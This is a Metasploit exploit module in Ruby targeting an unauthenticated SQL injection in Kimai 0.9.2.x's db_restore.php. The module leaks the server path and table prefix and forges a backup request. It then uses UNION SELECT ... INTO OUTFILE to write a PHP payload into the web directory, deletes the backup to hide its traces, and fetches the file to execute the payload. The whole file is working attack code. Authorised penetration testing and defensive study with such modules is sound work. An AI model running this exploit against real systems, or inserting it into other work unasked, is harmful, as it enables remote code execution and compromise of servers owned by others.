##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Kimai v0.9.2 'db_restore.php' SQL Injection",
      'Description'    => %q{
          This module exploits a SQL injection vulnerability in Kimai version
        0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
        execute arbitrary SQL queries. This module writes a PHP payload to
        disk if the following conditions are met: The PHP configuration must
        have 'display_errors' enabled, Kimai must be configured to use a
        MySQL database running on localhost; and the MySQL user must have
        write permission to the Kimai 'temporary' directory.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'drone', # Discovery and PoC
          'bcoles' # Metasploit module
        ],
      'References'     =>
        [
          ['EDB',       '25606'],
          ['OSVDB',     '93547'],
        ],
      'Payload'        =>
        {
          'Space'      => 8000, # HTTP POST
          'DisableNops'=> true,
          'BadChars'   => "\x00\x0a\x0d\x27"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
          [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-05-21',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI',  [true,  'The base path to Kimai', '/kimai/']),
          OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
          OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
        ])
  end

  #
  # Checks if target is Kimai version 0.9.2.x
  #
  def check
    vprint_status("Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
      vprint_error("Request timed out")
      return Exploit::CheckCode::Unknown
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
      version = "#{$1}"
      print_good("Found version: #{version}")
      if version >= "0.9.2" and version <= "0.9.2.1306"
        return Exploit::CheckCode::Appears
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    # Get file system path
    print_status("Retrieving file system path...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
      path = "#{$1}"
      print_good("Found file system path: #{path}")
    else
      path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
      print_warning("Could not retrieve file system path. Assuming '#{path}'")
    end

    # Get MySQL table name prefix from temporary/logfile.txt
    print_status("Retrieving MySQL table name prefix...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
      table_prefix = "#{prefixes.flatten.last}"
      print_good("Found table name prefix: #{table_prefix}")
    else
      table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
      print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
    end

    # Create a backup ID
    print_status("Creating a backup to get a valid backup ID...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => {
        'submit'  => 'create backup'
      }
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
      id = "#{backup_ids.flatten.last}"
      print_good("Found backup ID: #{id}")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
    end

    # Write PHP payload to disk using MySQL injection 'into outfile'
    fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
    sqli  = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
    print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit'  => 'recover',
        'dates[]' => sqli
      }.to_a.shuffle]
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200
      print_good("Payload sent successfully")
      register_files_for_cleanup(fname)
    else
      print_error("Sending payload failed. Received HTTP code: #{res.code}")
    end

    # Remove the backup
    print_status("Removing the backup...")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit'  => 'delete',
        'dates[]' => "#{id}"
      }.to_a.shuffle]
    })
    if not res
      print_warning("Request timed out")
    elsif res.code == 302 and res.body !~ /#{id}/
      vprint_good("Deleted backup with ID '#{id}'")
    else
      print_warning("Could not remove backup with ID '#{id}'")
    end

    # Execute payload
    print_status("Retrieving file '#{fname}'...")
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
    }, 5)
  end
end
